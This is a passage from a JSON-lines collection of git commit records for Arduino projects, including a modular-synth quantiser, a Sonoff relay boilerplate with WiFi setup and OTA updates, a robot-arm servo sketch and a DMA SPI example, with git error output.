\tSerial.print(invertX);\n \tSerial.print(\" k\");\n \tSerial.print(invertY);\n \tSerial.print(\" m\");\n \tSerial.print(multiplier);\n \tSerial.println(\" \");\n }\n}\n","returncode":0,"stderr":"","license":"mit","lang":"Arduino"} {"commit":"c3b1401c2f64ec2d6c9f9d6b53cef2f3b5380483","subject":"Experimental Code","message":"Experimental Code\n\nTwo modes: 1) Quantised and 0) UnQuantised.\r\nIn Quantised, the note that is coming out of CV Out is accented.\r\nIn UnQuatised mode, CV In goes straight through to CV Out, with the LEDs lighting to show the level if CV In.\r\n\r\nIf any LEDs are pressed, the module is in Quantised mode. With all LEDs out, it's in UnQuantised mode.","repos":"robgmsn\/gmsn","old_file":"puremodular\/pureQuantiser\/GMSN_Quantiser_Experimental_Code_20170926\/GMSN_Quantiser_Experimental_Code_20170926.ino","new_file":"puremodular\/pureQuantiser\/GMSN_Quantiser_Experimental_Code_20170926\/GMSN_Quantiser_Experimental_Code_20170926.ino","new_contents":"\/*\n Test Code for the Pure Quantiser LEDs.\n\n LEDs should light in the following in order from top to bottom, for 1\/2sec each\n*\/\n\n#include \"SPI.h\"\n#include <EEPROM.h>\n\n\/\/Setup LED Pin Varibles\nconst byte LR_0 = A3;\nconst byte LR_1 = A4;\nconst byte LR_2 = A5;\nconst byte LR_3 = 7;\nconst byte LC_0 = A0;\nconst byte LC_1 = A1;\nconst byte LC_2 = A2;\n\n\/\/Setup Button Pin Variable\nconst byte BC_0 = 2;\nconst byte BC_1 = 1;\nconst byte BC_2 = 0;\nconst byte BR_0 = 3;\nconst byte BR_1 = 4;\nconst byte BR_2 = 5;\nconst byte BR_3 = 6;\n\n\/\/Setup variable for the buttons, LEDs and temperament\nint note;\nint notes[13];\n\n\n\/\/Setup program control variables\nint mode = 0;\nint i = 1;\n\n\/\/Setup switch debounce variables\nunsigned long lastDebounceTime = 0;\nunsigned long debounceDelay = 500;\nint buttonState;\nint lastButtonState[13];\n\n\/\/Setup SPI Bus Pin Variables\nconst byte csADC = 9;\nconst byte csDAC = 10;\n\n\/\/Setup CV and Trigger Pin Variables\nint cvIn;\nint cvOut;\nint lastCvOut;\nint lastCvChange;\nint triggerOnTime = 10;\nconst byte trig = 8;\n\nvoid setup() {\n\n \/\/Setup LED Pins\n pinMode(LR_0, OUTPUT);\n pinMode(LR_1, OUTPUT);\n pinMode(LR_2, OUTPUT);\n pinMode(LR_3, OUTPUT);\n pinMode(LC_0, OUTPUT);\n pinMode(LC_1, OUTPUT);\n pinMode(LC_2, OUTPUT);\n\n digitalWrite(LR_0, HIGH);\n digitalWrite(LR_1, HIGH);\n digitalWrite(LR_2, HIGH);\n digitalWrite(LR_3, HIGH);\n digitalWrite(LC_0, LOW);\n digitalWrite(LC_1, LOW);\n digitalWrite(LC_2, LOW);\n\n \/\/Setup Button Pins\n pinMode(BC_0, OUTPUT);\n pinMode(BC_1, OUTPUT);\n pinMode(BC_2, OUTPUT);\n pinMode(BR_0, INPUT);\n pinMode(BR_1, INPUT);\n pinMode(BR_2, INPUT);\n pinMode(BR_3, INPUT);\n\n digitalWrite(BC_0, LOW);\n digitalWrite(BC_1, LOW);\n digitalWrite(BC_2, LOW);\n\n \/\/Setup SPI Chip Select Pins\n pinMode(csADC, OUTPUT);\n pinMode(csDAC, OUTPUT);\n\n digitalWrite(csADC, HIGH);\n digitalWrite(csDAC, HIGH);\n SPI.begin();\n\n \/\/Setup Trigger Pin\n pinMode(trig, OUTPUT);\n digitalWrite(trig, LOW);\n\n for (int k = 0; k <= 12; k++) {\n notes[k] = EEPROM[k];\n }\n}\n\nvoid loop() {\n\n\n readNoteButton(i);\n\n if (notes[i] == 1) {\n writeLED(i);\n } else {\n writeLED(0);\n }\n\n \/\/Read ADC\n cvIn = adcRead(1);\n\n \/\/Only Quantise if buttons are pressed.\n mode = 0;\n for (int j = 1; j <= 12; j++) {\n mode = mode + notes[j];\n }\n if (mode == 0) {\n cvOut = cvIn >> 1;\n dacWrite(cvOut);\n vuMeter();\n } else {\n quantiseCV(cvIn);\n }\n\n\n \/\/Write CVOut and Trigger Out\n if (lastCvOut != cvOut) {\n digitalWrite(trig, HIGH);\n lastCvOut = cvOut;\n lastCvChange = millis();\n } else if ((millis() - lastCvChange) > triggerOnTime) {\n digitalWrite(trig, LOW);\n }\n\n if (i == 12) {\n i = 0;\n } else {\n i++;\n }\n\n delay(1);\n\n}\n\n\nvoid readNoteButton(byte button) {\n switch (button) {\n case 1:\n \/\/Turn on BC_0 and read BR_0\n digitalWrite(BC_2, HIGH);\n note = digitalRead(BR_0);\n digitalWrite(BC_2, LOW);\n break;\n\n case 2:\n \/\/Turn on BC_0 and read BR_0\n digitalWrite(BC_2, HIGH);\n note = digitalRead(BR_1);\n digitalWrite(BC_2, LOW);\n break;\n\n case 3:\n \/\/Turn on BC_0 and read BR_0\n digitalWrite(BC_2, HIGH);\n note = digitalRead(BR_2);\n digitalWrite(BC_2, LOW);\n break;\n\n case 4:\n \/\/Turn on BC_0 and read BR_0\n digitalWrite(BC_2, HIGH);\n note = digitalRead(BR_3);\n digitalWrite(BC_2, LOW);\n break;\n\n case 5:\n \/\/Turn on BC_0 and read BR_0\n digitalWrite(BC_1, HIGH);\n note = digitalRead(BR_0);\n digitalWrite(BC_1, LOW);\n break;\n\n case 6:\n \/\/Turn on BC_0 and read BR_0\n digitalWrite(BC_1, HIGH);\n note = digitalRead(BR_1);\n digitalWrite(BC_1, LOW);\n break;\n\n case 7:\n \/\/Turn on BC_0 and read BR_0\n digitalWrite(BC_1, HIGH);\n note = digitalRead(BR_2);\n digitalWrite(BC_1, LOW);\n break;\n\n case 8:\n \/\/Turn on BC_0 and read BR_0\n digitalWrite(BC_1, HIGH);\n note = digitalRead(BR_3);\n digitalWrite(BC_1, LOW);\n break;\n\n case 9:\n \/\/Turn on BC_0 and read BR_0\n digitalWrite(BC_0, HIGH);\n note = digitalRead(BR_0);\n digitalWrite(BC_0, LOW);\n break;\n\n case 10:\n \/\/Turn on BC_0 and read BR_0\n digitalWrite(BC_0, HIGH);\n note = digitalRead(BR_1);\n digitalWrite(BC_0, LOW);\n break;\n\n case 11:\n \/\/Turn on BC_0 and read BR_0\n digitalWrite(BC_0, HIGH);\n note = digitalRead(BR_2);\n digitalWrite(BC_0, LOW);\n break;\n\n case 12:\n \/\/Turn on BC_0 and read BR_0\n digitalWrite(BC_0, HIGH);\n note = digitalRead(BR_3);\n digitalWrite(BC_0, LOW);\n break;\n }\n\n \/\/Debounce and toggle\n if ((millis() - lastDebounceTime) > debounceDelay) {\n\n if (note != buttonState) {\n buttonState = note;\n if (buttonState == HIGH) {\n notes[button] = !notes[button];\n EEPROM[button] = notes[button];\n lastDebounceTime = millis();\n }\n }\n }\n lastButtonState[button] = notes[button];\n\n}\n\nvoid writeLED(byte LED) {\n switch (LED) {\n case 0:\n digitalWrite(LR_0, HIGH);\n digitalWrite(LR_1, HIGH);\n digitalWrite(LR_2, HIGH);\n digitalWrite(LR_3, HIGH);\n digitalWrite(LC_0, LOW);\n digitalWrite(LC_1, LOW);\n digitalWrite(LC_2, LOW);\n break;\n\n case 1:\n digitalWrite(LR_0, LOW);\n digitalWrite(LR_1, HIGH);\n digitalWrite(LR_2, HIGH);\n digitalWrite(LR_3, HIGH);\n digitalWrite(LC_0, LOW);\n digitalWrite(LC_1, LOW);\n digitalWrite(LC_2, HIGH);\n break;\n\n case 2:\n digitalWrite(LR_0, HIGH);\n digitalWrite(LR_1, LOW);\n digitalWrite(LR_2, HIGH);\n digitalWrite(LR_3, HIGH);\n digitalWrite(LC_0, LOW);\n digitalWrite(LC_1, LOW);\n digitalWrite(LC_2, HIGH);\n break;\n\n case 3:\n digitalWrite(LR_0, HIGH);\n digitalWrite(LR_1, HIGH);\n digitalWrite(LR_2, LOW);\n digitalWrite(LR_3, HIGH);\n digitalWrite(LC_0, LOW);\n digitalWrite(LC_1, LOW);\n digitalWrite(LC_2, HIGH);\n break;\n\n case 4:\n digitalWrite(LR_0, HIGH);\n digitalWrite(LR_1, HIGH);\n digitalWrite(LR_2, HIGH);\n digitalWrite(LR_3, LOW);\n digitalWrite(LC_0, LOW);\n digitalWrite(LC_1, LOW);\n digitalWrite(LC_2, HIGH);\n break;\n\n case 5:\n digitalWrite(LR_0, LOW);\n digitalWrite(LR_1, HIGH);\n digitalWrite(LR_2, HIGH);\n digitalWrite(LR_3, HIGH);\n digitalWrite(LC_0, LOW);\n digitalWrite(LC_1, HIGH);\n digitalWrite(LC_2, LOW);\n break;\n\n case 6:\n digitalWrite(LR_0, HIGH);\n digitalWrite(LR_1, LOW);\n digitalWrite(LR_2, HIGH);\n digitalWrite(LR_3, HIGH);\n digitalWrite(LC_0, LOW);\n digitalWrite(LC_1, HIGH);\n digitalWrite(LC_2, LOW);\n break;\n\n case 7:\n digitalWrite(LR_0, HIGH);\n digitalWrite(LR_1, HIGH);\n digitalWrite(LR_2, LOW);\n digitalWrite(LR_3, HIGH);\n digitalWrite(LC_0, LOW);\n digitalWrite(LC_1, HIGH);\n digitalWrite(LC_2, LOW);\n break;\n\n case 8:\n digitalWrite(LR_0, HIGH);\n digitalWrite(LR_1, HIGH);\n digitalWrite(LR_2, HIGH);\n digitalWrite(LR_3, LOW);\n digitalWrite(LC_0, LOW);\n digitalWrite(LC_1, HIGH);\n digitalWrite(LC_2, LOW);\n break;\n\n case 9:\n digitalWrite(LR_0, LOW);\n digitalWrite(LR_1, HIGH);\n digitalWrite(LR_2, HIGH);\n digitalWrite(LR_3, HIGH);\n digitalWrite(LC_0, HIGH);\n digitalWrite(LC_1, LOW);\n digitalWrite(LC_2, LOW);\n break;\n\n case 10:\n digitalWrite(LR_0, HIGH);\n digitalWrite(LR_1, LOW);\n digitalWrite(LR_2, HIGH);\n digitalWrite(LR_3, HIGH);\n digitalWrite(LC_0, HIGH);\n digitalWrite(LC_1, LOW);\n digitalWrite(LC_2, LOW);\n break;\n\n case 11:\n digitalWrite(LR_0, HIGH);\n digitalWrite(LR_1, HIGH);\n digitalWrite(LR_2, LOW);\n digitalWrite(LR_3, HIGH);\n digitalWrite(LC_0, HIGH);\n digitalWrite(LC_1, LOW);\n digitalWrite(LC_2, LOW);\n break;\n\n case 12:\n digitalWrite(LR_0, HIGH);\n digitalWrite(LR_1, HIGH);\n digitalWrite(LR_2, HIGH);\n digitalWrite(LR_3, LOW);\n digitalWrite(LC_0, HIGH);\n digitalWrite(LC_1, LOW);\n digitalWrite(LC_2, LOW);\n break;\n }\n}\n\nvoid dacWrite(int value) {\n\n digitalWrite(csDAC, LOW);\n byte data = value >> 8;\n data = data & B00001111;\n data = data | B00110000;\n SPI.transfer(data);\n\n data = value;\n SPI.transfer(data);\n\n digitalWrite(csDAC, HIGH);\n}\n\nint adcRead(byte channel) {\n\n byte commandbits = B00001101; \/\/command bits - 0000, start, mode, chn, MSBF\n unsigned int b1 = 0; \/\/ get the return var's ready\n unsigned int b2 = 0;\n commandbits |= ((channel - 1) << 1); \/\/ update the command bit to select either ch 1 or 2\n digitalWrite(csADC, LOW);\n SPI.transfer(commandbits); \/\/ send out the command bits\n const int hi = SPI.transfer(b1); \/\/ read back the result high byte\n const int lo = SPI.transfer(b2); \/\/ then the low byte\n digitalWrite(csADC, HIGH);\n b1 = lo + (hi << 8); \/\/ assemble the two bytes into a word\n return (b1 >> 2); \/\/ We have got a 12bit answer but strip LSB's if\n \/\/ required >>4 ==10 bit (0->1024), >>2 ==12bit (0->4096)\n}\n\nint quantiseCV(int cvIn) {\n\n int octave = cvIn \/ 815;\n int vOct = octave * 815;\n int vOffset = 0;\n\n for (int index = 1; index < 13; index ++) {\n if (notes[index] == 1 && (cvIn - vOct) > index * 68) {\n vOffset = (index * 68) - 68;\n cvOut = vOct + vOffset;\n writeLED(index);\n cvOut = cvOut >> 1;\n }\n }\n dacWrite(cvOut);\n\n}\n\nvoid vuMeter() {\n for (int l = 1; l <= 12; l++) {\n if (cvIn > (341 * l)) {\n writeLED(l);\n }\n }\n}\n\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'puremodular\/pureQuantiser\/GMSN_Quantiser_Experimental_Code_20170926\/GMSN_Quantiser_Experimental_Code_20170926.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5d19772696ab1770bccfe1340e155137be78a23c","subject":"Modifie selon les specifications de protypage rapide","message":"Modifie selon les specifications de protypage rapide\n","repos":"nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance","old_file":"Module Moteur\/Software\/Asservissement\/CaracterisationVitessePWM\/CaracterisationVitessePWM\/CaracterisationVitessePWM.ino","new_file":"Module Moteur\/Software\/Asservissement\/CaracterisationVitessePWM\/CaracterisationVitessePWM\/CaracterisationVitessePWM.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Module' did not match any file(s) known to git\nerror: pathspec 'Moteur\/Software\/Asservissement\/CaracterisationVitessePWM\/CaracterisationVitessePWM\/CaracterisationVitessePWM.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"df3226a943979d530d2bf449fabd7ab73eaf8534","subject":"Asservissment: PWM correction du code","message":"Asservissment: PWM correction du code\n","repos":"nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance","old_file":"Module Moteur\/Software\/Asservissement\/CaracterisationVitessePWM\/CaracterisationVitessePWM\/CaracterisationVitessePWM.ino","new_file":"Module Moteur\/Software\/Asservissement\/CaracterisationVitessePWM\/CaracterisationVitessePWM\/CaracterisationVitessePWM.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Module' did not match any file(s) known to git\nerror: pathspec 'Moteur\/Software\/Asservissement\/CaracterisationVitessePWM\/CaracterisationVitessePWM\/CaracterisationVitessePWM.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ec56a600d3652c00ae6ebbe2bebf63030c748187","subject":"intial version","message":"intial version\n","repos":"rossbeazley\/SonoffBoilerplate,rossbeazley\/SonoffBoilerplate,rossbeazley\/SonoffBoilerplate,rossbeazley\/SonoffBoilerplate,rossbeazley\/SonoffBoilerplate","old_file":"SonoffBoilerplate.ino","new_file":"SonoffBoilerplate.ino","new_contents":"\/*\n 1MB flash sizee\n\n sonoff header\n 1 - vcc 3v3\n 2 - rx\n 3 - tx\n 4 - gnd\n 5 - gpio 14\n\n esp8266 connections\n gpio 0 - button\n gpio 12 - relay\n gpio 13 - green led - active low\n gpio 14 - pin 5 on header\n\n*\/\n#define SONOFF_BUTTON 0\n#define SONOFF_RELAY 12\n#define SONOFF_LED 13\n#define SONOFF_INPUT 14\n\n#define BLYNK_PRINT Serial \/\/ Comment this out to disable prints and save space\n#include <ESP8266WiFi.h>\n#include <BlynkSimpleEsp8266.h>\n\nstatic bool BLYNK_ENABLED = true;\n\n#include <WiFiManager.h> \/\/https:\/\/github.com\/tzapu\/WiFiManager\n\n#include <EEPROM.h>\n\n#define EEPROM_SALT 12663\ntypedef struct {\n int salt = EEPROM_SALT;\n char blynkToken[33] = \"\";\n char blynkServer[33] = \"blynk-cloud.com\";\n char blynkPort[6] = \"8442\";\n} WMSettings;\n\nWMSettings settings;\n\n#include <ArduinoOTA.h>\n\n\n\/\/for LED status\n#include <Ticker.h>\nTicker ticker;\n\n\nconst int CMD_WAIT = 0;\nconst int CMD_BUTTON_CHANGE = 1;\n\nint cmd = CMD_WAIT;\nint state = HIGH;\n\n\nvoid tick()\n{\n \/\/toggle state\n int state = digitalRead(SONOFF_LED); \/\/ get the current state of GPIO1 pin\n digitalWrite(SONOFF_LED, !state); \/\/ set pin to the opposite state\n}\n\n\/\/gets called when WiFiManager enters configuration mode\nvoid configModeCallback (WiFiManager *myWiFiManager) {\n Serial.println(\"Entered config mode\");\n Serial.println(WiFi.softAPIP());\n \/\/if you used auto generated SSID, print it\n Serial.println(myWiFiManager->getConfigPortalSSID());\n \/\/entered config mode, make led toggle faster\n ticker.attach(0.2, tick);\n}\n\n\n\nstatic int relayState = 0;\nstatic long startPress = 0;\n\nvoid setState(int s) {\n digitalWrite(SONOFF_RELAY, s);\n digitalWrite(SONOFF_LED, (s + 1) % 2); \/\/ led is active low\n}\n\nvoid toggleState() {\n cmd = CMD_BUTTON_CHANGE;\n}\n\n\/\/flag for saving data\nbool shouldSaveConfig = false;\n\n\/\/callback notifying us of the need to save config\nvoid saveConfigCallback () {\n Serial.println(\"Should save config\");\n shouldSaveConfig = true;\n}\n\nvoid setup()\n{\n Serial.begin(115200);\n\n \/\/set led pin as output\n pinMode(SONOFF_LED, OUTPUT);\n \/\/ start ticker with 0.5 because we start in AP mode and try to connect\n ticker.attach(0.6, tick);\n\n\n const char *hostname = \"ambient\";\n\n WiFiManager wifiManager;\n \/\/set callback that gets called when connecting to previous WiFi fails, and enters Access Point mode\n wifiManager.setAPCallback(configModeCallback);\n\n \/\/timeout\n\n \/\/custom params\n EEPROM.begin(512);\n EEPROM.get(0, settings);\n EEPROM.end();\n\n if(settings.salt != EEPROM_SALT) {\n Serial.println(\"Invalid settings in EEPROM, trying with defaults\");\n WMSettings defaults;\n settings = defaults;\n }\n\n Serial.println(settings.blynkToken);\n Serial.println(settings.blynkServer);\n Serial.println(settings.blynkPort);\n\n WiFiManagerParameter custom_blynk_text(\"Blynk config. <br\/> No token to disable.\");\n wifiManager.addParameter(&custom_blynk_text);\n \n WiFiManagerParameter custom_blynk_token(\"blynk-token\", \"blynk token\", settings.blynkToken, 33);\n wifiManager.addParameter(&custom_blynk_token);\n\n WiFiManagerParameter custom_blynk_server(\"blynk-server\", \"blynk server\", settings.blynkServer, 33);\n wifiManager.addParameter(&custom_blynk_server);\n\n WiFiManagerParameter custom_blynk_port(\"blynk-port\", \"blynk port\", settings.blynkPort, 6);\n wifiManager.addParameter(&custom_blynk_port);\n\n \/\/set config save notify callback\n wifiManager.setSaveConfigCallback(saveConfigCallback);\n\n if (!wifiManager.autoConnect(hostname)) {\n Serial.println(\"failed to connect and hit timeout\");\n \/\/reset and try again, or maybe put it to deep sleep\n ESP.reset();\n delay(1000);\n }\n\n \/\/Serial.println(custom_blynk_token.getValue());\n \/\/save the custom parameters to FS\n if (shouldSaveConfig) {\n Serial.println(\"Saving config\");\n \n strcpy(settings.blynkToken, custom_blynk_token.getValue());\n strcpy(settings.blynkServer, custom_blynk_server.getValue());\n strcpy(settings.blynkPort, custom_blynk_port.getValue());\n\n Serial.println(settings.blynkToken);\n Serial.println(settings.blynkServer);\n Serial.println(settings.blynkPort);\n \n EEPROM.begin(512);\n EEPROM.put(0, settings);\n EEPROM.end();\n }\n \n \/\/config blynk\n if(strlen(settings.blynkToken) == 0) {\n BLYNK_ENABLED = false;\n } \n if(BLYNK_ENABLED) {\n Blynk.config(settings.blynkToken, settings.blynkServer, atoi(settings.blynkPort));\n }\n\n \/\/OTA\n ArduinoOTA.onStart([]() {\n Serial.println(\"Start OTA\");\n });\n ArduinoOTA.onEnd([]() {\n Serial.println(\"\\nEnd\");\n });\n ArduinoOTA.onProgress([](unsigned int progress, unsigned int total) {\n Serial.printf(\"Progress: %u%%\\r\", (progress \/ (total \/ 100)));\n });\n ArduinoOTA.onError([](ota_error_t error) {\n Serial.printf(\"Error[%u]: \", error);\n if (error == OTA_AUTH_ERROR) Serial.println(\"Auth Failed\");\n else if (error == OTA_BEGIN_ERROR) Serial.println(\"Begin Failed\");\n else if (error == OTA_CONNECT_ERROR) Serial.println(\"Connect Failed\");\n else if (error == OTA_RECEIVE_ERROR) Serial.println(\"Receive Failed\");\n else if (error == OTA_END_ERROR) Serial.println(\"End Failed\");\n });\n ArduinoOTA.setHostname(hostname);\n ArduinoOTA.begin();\n\n \/\/if you get here you have connected to the WiFi\n Serial.println(\"connected...yeey :)\");\n ticker.detach();\n\n \/\/setup button\n pinMode(SONOFF_BUTTON, INPUT);\n attachInterrupt(SONOFF_BUTTON, toggleState, CHANGE);\n\n \/\/setup relay\n pinMode(SONOFF_RELAY, OUTPUT);\n\n setState(HIGH);\n\n Serial.println(\"done setup\");\n}\n\n\nvoid loop()\n{\n\n \/\/ota loop\n ArduinoOTA.handle();\n \/\/blynk connect and run loop\n if(BLYNK_ENABLED) {\n Blynk.run();\n }\n \/\/delay(200);\n \/\/Serial.println(digitalRead(SONOFF_BUTTON));\n switch (cmd) {\n case CMD_WAIT:\n break;\n case CMD_BUTTON_CHANGE:\n int currentState = digitalRead(SONOFF_BUTTON);\n if (currentState != state) {\n if (state == LOW && currentState == HIGH) {\n long duration = millis() - startPress;\n if (duration < 1000) {\n Serial.println(\"short press - toggle relay\");\n relayState = !relayState;\n setState(relayState);\n } else if (duration < 5000) {\n Serial.println(\"medium press - reset\");\n ESP.reset();\n delay(1000);\n } else if (duration < 60000) {\n Serial.println(\"long press - reset settings\");\n \/\/reset settings to defaults\n \/* \n WMSettings defaults;\n settings = defaults;\n EEPROM.begin(512);\n EEPROM.put(0, settings);\n EEPROM.end();\n *\/\n \/\/reset wifi credentials\n WiFi.disconnect();\n delay(1000);\n ESP.reset();\n delay(1000);\n }\n } else if (state == HIGH && currentState == LOW) {\n startPress = millis();\n }\n state = currentState;\n }\n break;\n }\n\n\n}\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'SonoffBoilerplate.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"346c9e726a7f4459f70aa604131b18de7afb7df9","subject":"Added arduino file","message":"Added arduino file\n","repos":"andreasnj\/P3-Crustcrawler_2.0,andreasnj\/P3-Crustcrawler_2.0,andreasnj\/P3-Crustcrawler_2.0,andreasnj\/P3-Crustcrawler_2.0","old_file":"Main-UPDATE\/Main-UPDATE.ino","new_file":"Main-UPDATE\/Main-UPDATE.ino","new_contents":"\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ How to run it: upload to arduino with the dynamixel_serial library installed in your arduino libraries folder. \/\/\n\/\/ After upload, disconnect usb from arduino and add power to CrustCrawler and the arduino board. \/\/\n\/\/ The program should start by it self. :) \/\/\n\/\/ \/\/\n\/\/ PIN Setup: Green wire to PIN 10, \/\/\n\/\/ Yellow wire to PIN 11, \/\/\n\/\/ Black wire to ground, \/\/\n\/\/ Red wire to 5v, \/\/\n\/\/ Blue wire to PIN2 \/\/\n\/\/ \/\/\n\/\/ This code was developed in collaboration with several groups, to enable all the groups a good \/\/\n\/\/ base code to start programming the CrustCrawler from. ;) \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include <Arduino.h>\n#include \"Dynamixel_Serial.h\"\n#include <SoftwareSerial.h>\n\n\n#define SERVO_ControlPin 0x02 \/\/ Control pin of buffer chip, NOTE: this does not matter becasue we are not using a half to full contorl buffer.\n#define SERVO_SET_Baudrate 57600 \/\/ Baud rate speed which the Dynamixel will be set too (57600)\n#define LED13 0x0D\n#define CW_LIMIT_ANGLE 0x001 \/\/ lowest clockwise angle is 1, as when set to 0 it set servo to wheel mode\n#define CCW_LIMIT_ANGLE 0xFFF \/\/ Highest anit-clockwise angle is 0XFFF, as when set to 0 it set servo to wheel mode\n\nSoftwareSerial mySerial(10, 11); \/\/ RX, TX\n\nint *data;\n\nvoid setup(){\n\n Serial.flush(); \/\/ Clear the serial buffer of garbage data before running the code.\n mySerial.begin(SERVO_SET_Baudrate); \/\/ We now need to set Ardiuno to the new Baudrate speed 115200\n Serial.begin(57600); \/\/ Start serial communication on baudrate 57600\n Dynamixel.begin(mySerial); \/\/ Calling mySerial function which sets 10 pin as the 2nd RX serial pin, and sets pin 11 as the 2nd TX serial pin\n Dynamixel.setDirectionPin(SERVO_ControlPin); \/\/ Optional. Set direction control pin which control if the program writes or reads to and from the robot\n\n \/\/ Turn on hold on the servos:\n Dynamixel.setHoldingTorque(0x01, true); \/\/Turn on hold torque on servo 1\n Dynamixel.setHoldingTorque(0x02, true); \/\/Turn on hold torque on servo 2\n Dynamixel.setHoldingTorque(0x03, true); \/\/Turn on hold torque on servo 3\n \/\/Dynamixel.setHoldingTorque(0x04, true); \/\/Turn on hold torque on servo 4\n \/\/Dynamixel.setHoldingTorque(0x05, true); \/\/Turn on hold torque on servo 5\n\n \/\/ Set the Profile acceleration.\n Dynamixel.setProfileAcceleration(0x01, 10); \/\/Set the Profile Acceleration for each servo. (max. is 32767)\n Dynamixel.setProfileAcceleration(0x02, 10); \/\/Set the Profile Acceleration for each servo. (max. is 32767)\n Dynamixel.setProfileAcceleration(0x03, 10); \/\/Set the Profile Acceleration for each servo. (max. is 32767)\n \/*\n Dynamixel.setProfileAcceleration(0x04, 300); \/\/Set the Profile Acceleration for each servo. (max. is 32767)\n Dynamixel.setProfileAcceleration(0x05, 300); \/\/Set the Profile Acceleration for each servo. (max. is 32767)\n *\/\n\n \/\/ Set the Profile velocity.\n Dynamixel.setProfileVelocity(0x01, 100); \/\/Set the Profile Velocity for each servo. (max. is 1023)\n Dynamixel.setProfileVelocity(0x02, 100); \/\/Set the Profile Velocity for each servo. (max. is 1023)\n Dynamixel.setProfileVelocity(0x03, 100); \/\/Set the Profile Velocity for each servo. (max. is 1023)\n \/*\n Dynamixel.setProfileVelocity(0x04, 200); \/\/Set the Profile Velocity for each servo. (max. is 1023)\n Dynamixel.setProfileVelocity(0x05, 200); \/\/Set the Profile Velocity for each servo. (max. is 1023)\n *\/\n\n\n \/*\n \/\/Get position for servos in steps\n Dynamixel.getPosition(0x01); \n Dynamixel.getPosition(0x02);\n Dynamixel.getPosition(0x03);\n Dynamixel.getPosition(0x04);\n Dynamixel.getPosition(0x05);\n \n \/\/Get position for servos in degrees\n Dynamixel.getPositionD(0x01);\n Dynamixel.getPositionD(0x02);\n Dynamixel.getPositionD(0x03);\n Dynamixel.getPositionD(0x04);\n Dynamixel.getPositionD(0x05);\n \n \/\/Get load on servos in maximum procent (The power required by the servo to hold its current position)\n Dynamixel.getLoad(0x02); \n \n \/\/Saving and printing positon from all servos\n data = Dynamixel.getPositionN(); \n\n for(int i = 0; i < 5; i++){\n Serial.println(data[i]);\n }\n\n *\/\n}\n\n\nvoid loop(){\n\n int id1 = 2071; \/\/Servo 1 goal position\n int id2 = 2048; \/\/Servo 2 goal position\n int id3 = 2048; \/\/Servo 3 goal position\n \/\/int id4 = 2548; \/\/Servo 4 goal position\n \/\/int id5 = 1548; \/\/Servo 5 goal position\n\n Dynamixel.setNGoalPositions(-1, id2, id3, -1, -1); \/\/Set goal position of all the servos\n \n int i = 1;\n int id2P;\n\n \/\/ This while loop keeps putting servo 2's current potition into an integer\n while(i > 0){\n id2P = Dynamixel.getPosition(0x02); \/\/Servo 2 current position in steps\n\n \/\/ This if statement checks if servo 2 have reached goal position, before it starts the next move\n if(id2==id2P){\n Dynamixel.setNGoalPositions(id1, -1, -1, id4, id5); \/\/Set goal position of all the servos\n i = 0; \/\/just to end the while loop\n }\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Main-UPDATE\/Main-UPDATE.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"4df87e5816589ad53f3edb45d79193ab586dcdfc","subject":"Create DMASpi_example1.ino","message":"Create DMASpi_example1.ino","repos":"crteensy\/DmaSpi","old_file":"examples\/DMASpi_example1\/DMASpi_example1.ino","new_file":"examples\/DMASpi_example1\/DMASpi_example1.ino","new_contents":"#include <ChipSelect.h>\n#include <DmaSpi.h>\n\n\/\/ create a chip select object. This one uses the pin that the built-in LED is connected to.\nActiveLowChipSelect<LED_BUILTIN> cs;\n\nvoid setup() {\n DMASPI0.begin();\n \/\/ create a transfer object\n DmaSpi0::Transfer trx(nullptr, 100, nullptr, 0xFF, &cs);\n\n \/\/ and register it. If the DMA SPI is idle, it will immediately start transmitting. Otherwise the transfer is added to a queue.\n DMASPI0.registerTransfer(trx);\n\n \/** FREE CPU TIME YOU DIDN'T HAVE BEFORE! DO SOMETHING USEFUL! **\/\n\n \/\/ wait for the transfer to finish\n while(trx.busy());\n}\n\nvoid loop() {\n\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/DMASpi_example1\/DMASpi_example1.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"79d5af57b95dfd33ecc59376ee0a2d4988f75042","subject":"Fix scoping errors","message":"Fix scoping errors\n","repos":"jaredkotoff\/CSUFIEEECS","old_file":"arduino_101\/arduino_101.ino","new_file":"arduino_101\/arduino_101.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended 